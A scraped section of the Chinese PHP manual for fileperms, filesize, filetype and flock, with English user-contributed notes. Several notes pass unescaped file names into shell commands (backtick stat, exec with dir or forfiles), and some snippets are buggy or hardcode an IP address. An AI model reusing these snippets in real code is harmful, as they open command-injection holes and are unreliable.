echo mkperms('u=rwx,g-r,o=-', true, 'somefile.txt'); // 730
// This way you can apply permissions to files
chmod('somefile.txt', mkperms('u=rwx,g-r,o=-', false, 'somefile.txt')); // somefile.txt is now at -rwx-wx---
?>

PS : sorry I had to put it on pastebin, or else it just made the note way too long.
jchris dot fillionr at kitware dot com 02-Apr-2009 02:11
Since the output of decoct( fileperms('.') ) is of the form: 40644

It seems the previous example is wrong, instead you should understand:

To get permissions formatted as "644":
<?php
echo substr(decoct( fileperms('.') ), 2);
?>

To get permissions formatted  as "0644":
<?php
echo substr(decoct( fileperms('.') ), 1);
?>
MartinAngermeier at gmx dot net 29-Oct-2008 12:37
An easy way to calculate fileperms to chmod is this:

substr(decoct(fileperms("test.html")),3);

Displays 666 or 777 (depends on chmod set).

substr(decoct(fileperms("test.html")),2);

Displays 0666 or 0777 and refers immediately to the number set with chmod();
paul2712 at gmail dot com 02-Jun-2007 09:08
Do not forget: clearstatcache();
==============================

When ever you make a:

mkdir($dstdir, 0770 ))

or a:

chmod($dstdir, 0774 );

You have to call:

clearstatcache();

before you can call:

fileperms($dstdir);
chinello at gmail dot com 24-Apr-2007 09:43
On Linux (not tested on Windows), if you want a chmod-like permissions, you can use this function:

<?php
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}
?>

Using it:

$ touch foo.bar
$ chmod 0754 foo.bar
<?php
echo file_perms('foo.bar'); // prints: 754
echo file_perms('foo.bar', true); // prints 0754
?>


取得文件大小

  • ? fileperms
  • filetype ?
  • PHP Manual
  • 文件系统函数
  • 取得文件大小

filesize

(PHP 4, PHP 5, PHP 7, PHP 8)

filesize — 取得文件大小

说明

filesize(string $filename): int|false

取得指定文件的大小。

参数

filename

文件的路径。

返回值

返回文件大小的字节数，如果出错返回 false 并生成一条 E_WARNING 级的错误。

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 filesize() 例子

<?php

// 输出类似：somefile.txt: 1024 bytes

$filename = 'somefile.txt';
echo $filename . ': ' . filesize($filename) . ' bytes';

?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • file_exists() - 检查文件或目录是否存在

User Contributed Notes

php at yurgon dot de 24-Jul-2020 12:27
<?php
// Quick example to test the return value in order to tell a 0 byte file from a failed call to filesize()

$size = filesize("some.file");

if ($size === FALSE) {
  echo "filesize not available";
} else {
  echo "some.file is $size bytes long";
}

// A shorter version, slightly different
if ( ($size = filesize("some.file")) !== FALSE)
  echo "some.file is $size bytes long";
?>
John Crocker 30-Sep-2019 12:46
The first example given may lead one to assume that this function works with a local filename e.g. $fs = filesize("error_log") but if you manually delete some text, then save and close the file, the next time you check filesize("error_log") it will return the original value, because the value is cached for performance reasons. If you didn't know this, it would look like a nasty bug.

So, everyone tells you to insert clearstatcache() which is supposed to clear the cached value and allow you to retrieve the current file size but it still does nothing and looks like another bug!

However, I found that if you always specify the FULL PATH
e.g. $fs = filesize("/user/some/path/error_log");
then clearstatcache() is not even needed.
PHP-Hasan 12-Jan-2019 05:05
Under Windows 10 filesize obviously cannot work with relative path names. Use absolute path instead. $size = filesize(".\\myfile.txt"); does not work for me while "d:\\MyFiles\\Myfile.txt" will do. The same applys to similar functions like is_file() or stat(). They won't work correctly unless given an absolute path.
Lingasamy Sakthivel 17-Aug-2017 11:27
Using fseek is really slow. This one really better and faster.

    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $size = trim(exec("for %F in (\"" . $file . "\") do @echo %~zF"));
    }
    elseif ((PHP_OS == 'Linux') || (PHP_OS == 'FreeBSD') || (PHP_OS == 'Unix') || (PHP_OS == 'SunOS')) {
        $size = trim(shell_exec("stat -c%s " . escapeshellarg($file)));
    } else {
        $size = filesize($file);
    }
synnus at gmail dot com 26-Jul-2017 02:13
<?php

      // Recover all file sizes larger than > 4GB.
      // Works on php 32bits and 64bits and supports linux
      // Used the com_dotnet extension

     function getSize($file) {
        $size = filesize($file);
        if ($size <= 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')) {
                $size = trim(`stat -c%s $file`);
            }
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $f->Size;
            }
        return $size;
    }
?>
Damien Dussouillez 20-Jul-2017 06:25
<?php
/**
 * Return file size (even for file > 2 Gb)
 * For file size over PHP_INT_MAX (2 147 483 647), PHP filesize function loops from -PHP_INT_MAX to PHP_INT_MAX.
 *
 * @param string $path Path of the file
 * @return mixed File size or false if error
 */
function realFileSize($path)
{
    if (!file_exists($path))
        return false;

    $size = filesize($path);

    if (!($file = fopen($path, 'rb')))
        return false;

    if ($size >= 0)
    {//Check if it really is a small file (< 2 GB)
        if (fseek($file, 0, SEEK_END) === 0)
        {//It really is a small file
            fclose($file);
            return $size;
        }
    }

    //Quickly jump the first 2 GB with fseek. After that fseek is not working on 32 bit php (it uses int internally)
    $size = PHP_INT_MAX - 1;
    if (fseek($file, PHP_INT_MAX - 1) !== 0)
    {
        fclose($file);
        return false;
    }

    $length = 1024 * 1024;
    while (!feof($file))
    {//Read the file until end
        $read = fread($file, $length);
        $size = bcadd($size, $length);
    }
    $size = bcsub($size, $length);
    $size = bcadd($size, strlen($read));

    fclose($file);
    return $size;
}
ivijan dot stefan at gmail dot com 12-Jul-2017 03:02
This function also can be great for browser caching controll. For example, you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a waste of time. Instead, you can do like:

<?php

echo '<link rel="stylesheet" href="style.css?ver=1.'.filesize(dirname(__FILE__).'/style.css').'.'.filemtime(dirname(__FILE__).'/style.css').'.0">';

?>

Sample output:

<link rel="stylesheet" href="style.css?ver=1.8824.1499869132.0">

This also can be apply for JS and also images with same name.
mbh789 at gmail dot com 06-Jul-2017 09:27
function dir_size($file) {
   //tested on win 7x64 php 5.4
    exec('dir /s /a "' . $file.'"', $inf);
    $r=explode(' ',$inf[count($inf)-2]);
    $rr = preg_replace('~[^\d]+~','',$r[count($r)-2]);
    return $rr;
}
contact at evoweb dot fr 31-Jan-2017 10:35
This is an improvement of the function made by Rommel (rommel at rommelsantor dot com).  PHP 5.4+ compatibility and minor calculation of the word to write after the number.
<?php
function human_filesize($bytes, $decimals = 2) {
    $sz = 'BKMGTP';
    $factor = floor((strlen($bytes) - 1) / 3);
    $d = (empty($factor))?0:$decimals;
    return sprintf("%.{$d}f", $bytes / pow(1024, $factor)) . " ". ((!empty($factor))?@$sz[(int)$factor]:"")."o";
}
?>
evgenij at kostanay dot kz 01-Dec-2016 09:05
Slightly edited version of the function from rommel at rommelsantor dot com. Now it returns a two characters file size which is a bit more convenient to read.

<?php
function human_filesize($bytes, $decimals = 2) {
    $factor = floor((strlen($bytes) - 1) / 3);
    if ($factor > 0) $sz = 'KMGT';
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . 'B';
}

print human_filesize(12, 0);                // 12B
print human_filesize(1234567890, 4);        // 1.1498GB
print human_filesize(123456789, 1);            // 117.7MB
print human_filesize(12345678901234, 5);    // 11.22833TB
print human_filesize(1234567, 3);            // 1.177MB
print human_filesize(123456);                // 120.56KB
?>

I removed the P units because strlen doesn't seem to work as expected with integers longer than 14 digits. Though it might be only my system's limitation.
synnus at gmail dot com 03-Nov-2016 12:52
<?php
 // File size for windows
 // if filesize() php > PHP_INT_MAX (4 294 967 296) :: failled
 // filesize_cmd returns the value measured by windows

function filesize_cmd($file) {
    $pth = pathinfo($file);
    $fz = filesize($file);
    $fx = exec('forfiles /p ' . $pth['dirname'] . ' /m "' . $pth['basename'] . '" /c "cmd /c echo @fsize"');
    if($fz != $fx) { return $fx; }
    return $fz;
}

?>
jakob dot riishede dot moller at gmail dot com 09-Oct-2016 04:40
"Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB."

This ought to be a warning and not a note: filesize - as some of the other comments suggest - is useless for applications where custom action must be taken for large files.
C0nw0nk 04-Jun-2016 06:14
Here is my super fast method of getting >2GB files to output the correct byte size on any version of windows works with both 32Bit and 64Bit.

<?php
function find_filesize($file)
{
    if(substr(PHP_OS, 0, 3) == "WIN")
    {
        exec('for %I in ("'.$file.'") do @echo %~zI', $output);
        $return = $output[0];
    }
    else
    {
        $return = filesize($file);
    }
    return $return;
}

//Usage : find_filesize("path");
//Example :
echo "File size is : ".find_filesize("D:\Server\movie.mp4")."";
?>
synnus at gmail dot com 02-Apr-2016 02:32
// extract filesize with command dir windows 10
// is ok for all system 32/64 and the best compatibility  for Dummy file
// but cant return value in (int) for best return use Float

<?php

filesize_dir("d:\\test.mkv"); //11.5GB => return (float) 12401880207

function filesize_dir($file) {
    exec('dir ' . $file, $inf);
    $size_raw = $inf[6];
    $size_exp = explode(" ",$size_raw);
    $size_ext = $size_exp[19];
    $size_int = (float) str_replace(chr(255), '', $size_ext);
    return $size_int;
}

?>
synnus at gmail dot com 02-Apr-2016 01:09
// use system windows for give filesize
// best for php 32bit or php 64bit
// I do not know if it works on other windows, but on Windows 10 works well here

<?php

echo filesize_cmd('c:\\', 'log.txt'); //return  1135

function filesize_cmd($folder, $file) {
return exec('forfiles /p '.$folder.' /m "'.$file.'" /c "cmd /c echo @fsize"');
}

?>
synnus at gmail dot com 01-Apr-2016 05:54
// best converting the negative number with File Size .
// does not work with files greater than 4GB
//
// specifically for 32 bit systems. limit conversions filsize is 4GB or
// 4294967296. why we get negative numbers? by what the file
// pointer of the meter must work with the PHP MAX value is 2147483647.
// Offset file : 0 , 1 , 2 , 3 , ... 2147483647 = 2GB
// to go higher up the 4GB negative numbers are used
// and therefore after 2147483647, we will -2147483647
// -2147483647,  -2147483646, -2147483645, -2147483644 ... 0 = 4GB
// therefore 0, 2147483647 and -2147483647 to 0. all done 4GB = 4294967296
// the first offset to 0 and the last offset to 0 of 4GB should be added in
// your compute, so "+ 2" for the number of bytes exate .

<?php
function filsize_32b($file) {
    $filez = filesize($file);
    if($filez < 0) {  return (($filez + PHP_INT_MAX) + PHP_INT_MAX + 2); }
    else { return $filez; }
}
?>
honza dot kuchar at grifart dot cz 05-Feb-2016 09:43
For files bigger then 2 GB use my library called Big File Tools. https://github.com/jkuchar/BigFileTools. More details on stackoverflow: http://stackoverflow.com/a/35233556/631369
Anonymous 21-Nov-2014 04:01
Here a function to get the size of a file in a human understanding way with decimal separator, thousand separator, decimals...

function convertFileSize($file, $size=null, $decimals=2, $dec_sep='.', $thousands_sep=','){
 if (!is_file($file)){
  return "El fichero no existe";
 }
 $bytes = filesize($file);
 $sizes = 'BKMGTP';
 if (isset($size)){
  $factor = strpos($sizes, $size[0]);
  if ($factor===false){
   return "El tama?o debe ser B, K, M, G, T o P";
  }
 } else {
  $factor = floor((strlen($bytes) - 1) / 3);
  $size = $sizes[$factor];
 }
 return number_format($bytes / pow(1024, $factor), $decimals, $dec_sep, $thousands_sep).' '.$size;
}

Source: http://softontherocks.blogspot.com/2014/11/obtener-el-tamano-de-un-fichero-y.html
k dot reznichak at pcpin dot com 24-Sep-2014 10:19
Here ist the very fast and reliable way to get size of large files > 2Gb on 32bit and 64bit platforms.

<?php
  /**
   * Get the size of file, platform- and architecture-independant.
   * This function supports 32bit and 64bit architectures and works fith large files > 2 GB
   * The return value type depends on platform/architecture: (float) when PHP_INT_SIZE < 8 or (int) otherwise
   * @param   resource $fp
   * @return  mixed (int|float) File size on success or (bool) FALSE on error
   */
  function my_filesize($fp) {
    $return = false;
    if (is_resource($fp)) {
      if (PHP_INT_SIZE < 8) {
        // 32bit
        if (0 === fseek($fp, 0, SEEK_END)) {
          $return = 0.0;
          $step = 0x7FFFFFFF;
          while ($step > 0) {
            if (0 === fseek($fp, - $step, SEEK_CUR)) {
              $return += floatval($step);
            } else {
              $step >>= 1;
            }
          }
        }
      } elseif (0 === fseek($fp, 0, SEEK_END)) {
        // 64bit
        $return = ftell($fp);
      }
    }
    return $return;
  }
?>
CertaiN 05-May-2014 07:52
The simplest and most efficient implemention for getting remote filesize:

<?php
function remote_filesize($url) {
    static $regex = '/^Content-Length: *+\K\d++$/im';
    if (!$fp = @fopen($url, 'rb')) {
        return false;
    }
    if (
        isset($http_response_header) &&
        preg_match($regex, implode("\n", $http_response_header), $matches)
    ) {
        return (int)$matches[0];
    }
    return strlen(stream_get_contents($fp));
}
?>
linda dot collins at mailinator dot com 13-Oct-2013 02:08
A fast implementation that determines actual file size of large files (>2GB) on 32-bit PHP:

function RealFileSize($fp)
{
    $pos = 0;
    $size = 1073741824;
    fseek($fp, 0, SEEK_SET);
    while ($size > 1)
    {
        fseek($fp, $size, SEEK_CUR);

        if (fgetc($fp) === false)
        {
            fseek($fp, -$size, SEEK_CUR);
            $size = (int)($size / 2);
        }
        else
        {
            fseek($fp, -1, SEEK_CUR);
            $pos += $size;
        }
    }

    while (fgetc($fp) !== false)  $pos++;

    return $pos;
}

Input is an open file handle.  Return value is an integer for file sizes < 4GB, floating-point otherwise.

This starts out by skipping ~1GB at a time, reads a character in, repeats.  When it gets into the last GB, it halves the size whenever the read fails.  The last couple of bytes are just read in.

Some people might have concerns over this function because $pos will become a floating point number after exceeding integer limits and they know of floating point's tendencies to be inaccurate.  On most computers that correctly implement the IEEE floating point spec, $pos will be accurate out to around 9 *petabytes*.  Unless you are working with multi-petabyte files in PHP or the code is executing on strange hardware, this function is going to be more than sufficient.  Every part of this function has been carefully crafted to deal with 32-bit deficiencies.
cfv1000 at gmail dot com 05-Sep-2013 12:20
To get the filesize of a directory use the built-in function disk_total_space
Arseny Mogilev 16-Aug-2013 10:51
<?php
/**
* Converts bytes into human readable file size.
*
* @param string $bytes
* @return string human readable file size (2,87 Мб)
* @author Mogilev Arseny
*/
function FileSizeConvert($bytes)
{
    $bytes = floatval($bytes);
        $arBytes = array(
            0 => array(
                "UNIT" => "TB",
                "VALUE" => pow(1024, 4)
            ),
            1 => array(
                "UNIT" => "GB",
                "VALUE" => pow(1024, 3)
            ),
            2 => array(
                "UNIT" => "MB",
                "VALUE" => pow(1024, 2)
            ),
            3 => array(
                "UNIT" => "KB",
                "VALUE" => 1024
            ),
            4 => array(
                "UNIT" => "B",
                "VALUE" => 1
            ),
        );

    foreach($arBytes as $arItem)
    {
        if($bytes >= $arItem["VALUE"])
        {
            $result = $bytes / $arItem["VALUE"];
            $result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"];
            break;
        }
    }
    return $result;
}

?>
Anonymous 24-Jul-2013 10:57
This functions returns the exact file size for file larger than 2 GB on 32 bit OS:

<?php
function file_get_size($file) {
    //open file
    $fh = fopen($file, "r");
    //declare some variables
    $size = "0";
    $char = "";
    //set file pointer to 0; I'm a little bit paranoid, you can remove this
    fseek($fh, 0, SEEK_SET);
    //set multiplicator to zero
    $count = 0;
    while (true) {
        //jump 1 MB forward in file
        fseek($fh, 1048576, SEEK_CUR);
        //check if we actually left the file
        if (($char = fgetc($fh)) !== false) {
            //if not, go on
            $count ++;
        } else {
            //else jump back where we were before leaving and exit loop
            fseek($fh, -1048576, SEEK_CUR);
            break;
        }
    }
    //we could make $count jumps, so the file is at least $count * 1.000001 MB large
    //1048577 because we jump 1 MB and fgetc goes 1 B forward too
    $size = bcmul("1048577", $count);
    //now count the last few bytes; they're always less than 1048576 so it's quite fast
    $fine = 0;
    while(false !== ($char = fgetc($fh))) {
        $fine ++;
    }
    //and add them
    $size = bcadd($size, $fine);
    fclose($fh);
    return $size;
}
?>
lito at eordes dot com 06-Mar-2013 03:10
A simple and improved function to get the folder size including subfolders:

<?php
function folderSize ($dir)
{
    $size = 0;
    $contents = glob(rtrim($dir, '/').'/*', GLOB_NOSORT);

    foreach ($contents as $contents_value) {
        if (is_file($contents_value)) {
            $size += filesize($contents_value);
        } else {
            $size += realFolderSize($contents_value);
        }
    }

    return $size;
}

echo folderSize('/var/www/html/').' bytes';
?>
rommel at rommelsantor dot com 19-Nov-2011 12:11
Extremely simple function to get human filesize.
<?php
function human_filesize($bytes, $decimals = 2) {
  $sz = 'BKMGTP';
  $factor = floor((strlen($bytes) - 1) / 3);
  return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
?>
Anonymous 21-Jan-2011 06:58
if you recently appended something to file, and closed it then this method will not show appended data:
<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
frank (at) haua dot net 15-Jan-2011 06:19
I have a cli script running that use the filesize function on a ssh2_sftp connection. It has the >2Gb limit issue, while it does not have that issue locally. I have managed to get around this by doing a "du -sb" command through ssh2_shell.

The following function takes the ssh2_connect resource and the path as input. It may not be neat, but it solves the problem for the moment.

<?php
function fSSHFileSize($oConn, $sPath) {
    if(false !== ($oShell = @ssh2_shell($oConn, 'xterm', null, 500, 24, SSH2_TERM_UNIT_CHARS))) {
        fwrite($oShell, "du -sb '".$sPath."'".PHP_EOL);
        sleep(1);
        while($sLine = fgets($oShell)) {
            flush();
            $aResult[] = $sLine;
        }
        fclose($oShell);
        $iSize = 0;
        if(count($aResult) > 1) {
            $sTemp = $aResult[count($aResult)-2];
            $sSize = substr($sTemp, 0, strpos($sTemp, chr(9)));
            if(is_numeric(trim($sSize))) {
                $iTemp = (int)$sSize;
                if($iTemp > "2000000000") $iSize = $iTemp;
            }
        }
        return $iSize;
    }
    return 0;
}
?>
itsrool at gmail dot com 12-Nov-2009 12:36
My solution for calculating the directory size:

<?php
/**
 * Get the directory size
 * @param directory $directory
 * @return integer
 */
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        $size+=$file->getSize();
    }
    return $size;
}
?>
tmont 25-Jul-2009 02:05
Here's the best way (that I've found) to get the size of a remote file. Note that HEAD requests don't get the actual body of the request, they just retrieve the headers. So making a HEAD request to a resource that is 100MB will take the same amount of time as a HEAD request to a resource that is 1KB.

<?php
$remoteFile = 'http://us.php.net/get/php-5.2.10.tar.bz2/from/this/mirror';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //not necessary unless the file redirects (like the PHP example we're using here)
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
  echo 'cURL failed';
  exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
  $status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
  $contentLength = (int)$matches[1];
}

echo 'HTTP Status: ' . $status . "\n";
echo 'Content-Length: ' . $contentLength;
?>

Result:

HTTP Status: 302
Content-Length: 8808759
Svetoslav Marinov 23-Jul-2009 10:24
This is an updated version of my previous filesize2bytes.
The return type now it's really an int.

<?php
/**
 * Converts human readable file size (e.g. 10 MB, 200.20 GB) into bytes.
 *
 * @param string $str
 * @return int the result is in bytes
 * @author Svetoslav Marinov
 * @author http://slavi.biz
 */
function filesize2bytes($str) {
    $bytes = 0;

    $bytes_array = array(
        'B' => 1,
        'KB' => 1024,
        'MB' => 1024 * 1024,
        'GB' => 1024 * 1024 * 1024,
        'TB' => 1024 * 1024 * 1024 * 1024,
        'PB' => 1024 * 1024 * 1024 * 1024 * 1024,
    );

    $bytes = floatval($str);

    if (preg_match('#([KMGTP]?B)$#si', $str, $matches) && !empty($bytes_array[$matches[1]])) {
        $bytes *= $bytes_array[$matches[1]];
    }

    $bytes = intval(round($bytes, 2));

    return $bytes;
}
?>
Supermagnus 30-Jun-2008 03:38
<?php
function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}
?>

In case of you have a redirection in the server (like Redirect Permanent in the .htaccess)

In this case we have for exemple:
    [content-length] => Array

        (

            [0] => 294          // Size requested file

            [1] => 357556     // Real Size redirected file

        )
jason dot whitehead dot tas at gmail dot com 08-Feb-2008 03:14
I have created a handy function, using parts of code from kaspernj at gmail dot com and md2perpe at gmail dot com, which should get file sizes > 4GB on Windows, Linux and Mac  (at least).

<?php
    function getSize($file) {
        $size = filesize($file);
        if ($size < 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'))
                $size = trim(`stat -c%s $file`);
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $file->Size;
            }
        return $size;
    }
?>
webmaster at eclipse org 07-Nov-2007 07:30
On 64-bit platforms, this seems quite reliable for getting the filesize of files > 4GB

<?php
$a = fopen($filename, 'r');
fseek($a, 0, SEEK_END);
$filesize = ftell($a);
fclose($a);
?>
core58 at mail dot ru 14-Apr-2006 08:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
    $socket = fsockopen( "10.233.225.2", 8080 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        echo "<br>failed to open socket for [$ipAddress]";
        exit();
    }

    // just send HEAD request to server
    $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
    // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
    fwrite( $socket, $head );

    // read the response header
    $header = ReadHeader( $socket );
    if( !$header )
    {
        // handle empty response here the way you need...
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    fclose( $socket );

    // check for "Location" header
    $locationMarker = "Location: ";
    $pos = strpos( $header, $locationMarker );
    if( $pos > 0 )
    {
            $counter302--;
            if( $counter302 < 0 )
            {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                    echo "warning: too long redirection sequence";
                    return 0;
            }

            // Location is present -- we should determine target host and move there, like any downloading masters do...
            // no need to use regex here
            $end = strpos( $header, "\n", $pos );
            $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
    }

    // try to acquire Content-Length within the response
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
          $size = $matches[1];
    else
          $size = 0;

    return $size;
}
?>
aidan at php dot net 12-Jul-2005 09:01
This function quickly calculates the size of a directory:
http://aidanlister.com/repos/v/function.dirsize.php

You can convert filesizes to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes


取得文件类型

  • ? filesize
  • flock ?
  • PHP Manual
  • 文件系统函数
  • 取得文件类型

filetype

(PHP 4, PHP 5, PHP 7, PHP 8)

filetype — 取得文件类型

说明

filetype(string $filename): string|false

返回文件的类型。

参数

filename

文件的路径。

返回值

返回文件的类型。 可能的值有 fifo，char，dir，block，link，file 和 unknown。

如果出错则返回 false。如果 stat 调用失败或者文件类型未知的话 filetype() 还会产生一个 E_NOTICE 消息。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 filetype() 例子

<?php

echo filetype('/etc/passwd');
echo "\n";
echo filetype('/etc/');

?>

以上示例会输出：

file
dir

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • is_file() - 判断给定文件名是否为一个正常的文件
  • is_link() - 判断给定文件名是否为一个符号连接
  • file_exists() - 检查文件或目录是否存在
  • mime_content_type() - 检测文件的 MIME 类型
  • pathinfo() - 返回文件路径的信息
  • stat() - 给出文件的信息

User Contributed Notes

Anonymous 03-Dec-2014 06:17
Note there is a bug when using filetype with for example Japanese filenames :
https://bugs.php.net/bug.php?id=64699

The whole PHP interpreter comes crashing down without anyway to avoid it or capture an exception.
r dot koelpin at evisionteam dot de 29-Jan-2014 06:29
/* COPY/PASTE */
<?php
//https://php.net/manual/de/function.filetype.php#104308

echo "Zum testen müssen tats?chlich existente Namen verwendet werden.<br>";
echo "Pfad und Dateiname müssen getrennt eingetragen und durch einen Punkt verbunden sein.<br>";
echo "Example: [filetype(\"../dir/u_dir/\".\"temp.jpg\")] liefert -> file<br>";
?>
Abhi Jain 08-Jun-2011 12:01
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.

The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the 'Dir or File Name' and not the complete "Absolute or Relative Path" to that 'file or Dir'. It may still read that file and return its filetype as "file" but for Dir's it shows warning and outputs NULL.
eg:
$pathToFile = '/var/www';
$file = 'test.php';
$dir = 'somedir';

Output for filetype($file) will be returned as 'file' and possibly without any warning, but for filetype($dir), it will return NULL with the warning "Lstat failed", unless you pass a complete path to that dir, i.e. filetype($pathToFile.'/'.$dir).

This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
adlerweb 07-Oct-2010 01:09
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:

$type=trim(`stat -c%F $file`);

Note that stat returns diffenerent strings ("regular file","directory",...)
7r6ivyeo at mail dot com 21-Nov-2008 05:29
I use the CLI version of PHP on Windows Vista.  Here's how to determine if a file is marked "hidden" by NTFS:

<?php
function is_hidden_file($fn) {

    $attr = trim(exec('FOR %A IN ("'.$fn.'") DO @ECHO %~aA'));

    if($attr[3] === 'h')
        return true;

    return false;
}
?>

Changing <?php if($attr[3] === 'h') ?> to <?php if($attr[4] === 's') ?> will check for system files.

This should work on any Windows OS that provides DOS shell commands.
ruach at chpc dot utah dot edu 10-Mar-2004 05:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type


可移植的协同文件锁定

  • ? filetype
  • fnmatch ?
  • PHP Manual
  • 文件系统函数
  • 可移植的协同文件锁定

flock

(PHP 4, PHP 5, PHP 7, PHP 8)

flock — 可移植的协同文件锁定

说明

flock(resource $stream, int $operation, int &$would_block = null): bool

flock() 允许执行简单的读取/写入模型,该模型可以在任何平台（包括大部分 Unix 衍生产品，甚至是 Windows）上使用。

当调用 fclose() 或者对 stream 垃圾收集时，锁会释放。

PHP 支持以协同且可移植的方式锁定完整文件（也就是说所有访问程序必须使用相同锁定方式, 否则将无法工作）。默认情况下，该函数将堵塞直到获得锁；这可以通过下面文档中 LOCK_NB 选项来控制。

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

operation

operation 可以是以下值之一：

  • LOCK_SH取得共享锁定（读取的程序）。
  • LOCK_EX 取得独占锁定（写入的程序。
  • LOCK_UN 释放锁定（无论共享或独占）。

It is also possible to add LOCK_NB as a bitmask to one of the above operations, if flock() should not block during the locking attempt.

would_block

如果锁将堵塞（EWOULDBLOCK 错误码情况下），第三个可选参数会设置为 1。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 flock() 例子

<?php

$fp = fopen("/tmp/lock.txt", "r+");

if (flock($fp, LOCK_EX)) { // 进行排它型锁定
ftruncate($fp, 0); // truncate file
fwrite($fp, "Write something here\n");
fflush($fp); // flush output before releasing the lock
flock($fp, LOCK_UN); // 释放锁定
} else {
echo "Couldn't get the lock!";
}

fclose($fp);

?>

Example #2 flock() 使用 LOCK_NB 选项

<?php
$fp = fopen('/tmp/lock.txt', 'r+');

/* Activate the LOCK_NB option on an LOCK_EX operation */
if(!flock($fp, LOCK_EX | LOCK_NB)) {
echo 'Unable to obtain lock';
exit(-1);
}

/* ... */

fclose($fp);
?>

注释

Note:

在 Windows 上，flock() 使用的是强制锁而不是协同锁。 Mandatory locking is also supported on Linux and System V based operating systems via the usual mechanism supported by the fcntl() system call: that is, if the file in question has the setgid permission bit set and the group execution bit cleared. On Linux, the file system will also need to be mounted with the mand option for this to work.

Note:

